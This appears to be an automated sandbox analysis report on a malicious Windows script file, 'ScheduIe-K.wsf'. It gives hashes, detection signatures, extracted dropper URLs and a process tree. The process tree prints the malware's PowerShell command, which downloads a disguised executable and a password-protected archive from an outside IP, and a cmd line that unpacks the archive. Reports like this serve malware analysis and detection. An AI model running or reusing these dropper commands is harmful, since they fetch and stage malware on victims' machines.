Analysis

  • max time kernel
    0s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    24-01-2024 04:21

General

  • Target

    ScheduIe-K.wsf

  • Size

    4KB

  • MD5

    eafa5d2bdb1f8bca65b208d7e6101e1c

  • SHA1

    da7085b340e3b02d94bb4acc92ee9475133b7948

  • SHA256

    572a90ba88b5424d527785d48667dfd95293469b07ab016970b7253e2bb5d0d0

  • SHA512

    2114d0dda32e2224c8253a9ec038b6f212a01082bb73222780391e0842a73097c57454f248135671f67662f419bba9c5cbb7721a1eba6790eb59381e7a4bbda8

  • SSDEEP

    96:021JYd1k2ig3AwYx4wg3CWPqrHekw21JYd1k2ig3AwYx4wg3CWPqrHek4:Np2ioAwYgSWPqTeGp2ioAwYgSWPqTeB

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.107.185.29:666/Rar.jpg

exe.dropper

http://176.107.185.29:666/load.rar

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ScheduIe-K.wsf"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2316
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Start-BitsTransfer -Source 'http://176.107.185.29:666/Rar.jpg' -Destination 'C:\Users\Public\Rar.exe'; Start-BitsTransfer -Source 'http://176.107.185.29:666/load.rar' -Destination 'C:\Users\Public\load.rar'"
      2⤵
        PID:2132
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c Rar.exe x -p111 load.rar
        2⤵
          PID:2572

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2132-8-0x00000000021D0000-0x00000000021D8000-memory.dmp
        Filesize

        32KB

      • memory/2132-7-0x000000001B610000-0x000000001B8F2000-memory.dmp
        Filesize

        2.9MB

      • memory/2132-9-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp
        Filesize

        9.6MB

      • memory/2132-12-0x0000000002D00000-0x0000000002D80000-memory.dmp
        Filesize

        512KB

      • memory/2132-13-0x0000000002D00000-0x0000000002D80000-memory.dmp
        Filesize

        512KB

      • memory/2132-11-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp
        Filesize

        9.6MB

      • memory/2132-10-0x0000000002D00000-0x0000000002D80000-memory.dmp
        Filesize

        512KB

      • memory/2132-14-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp
        Filesize

        9.6MB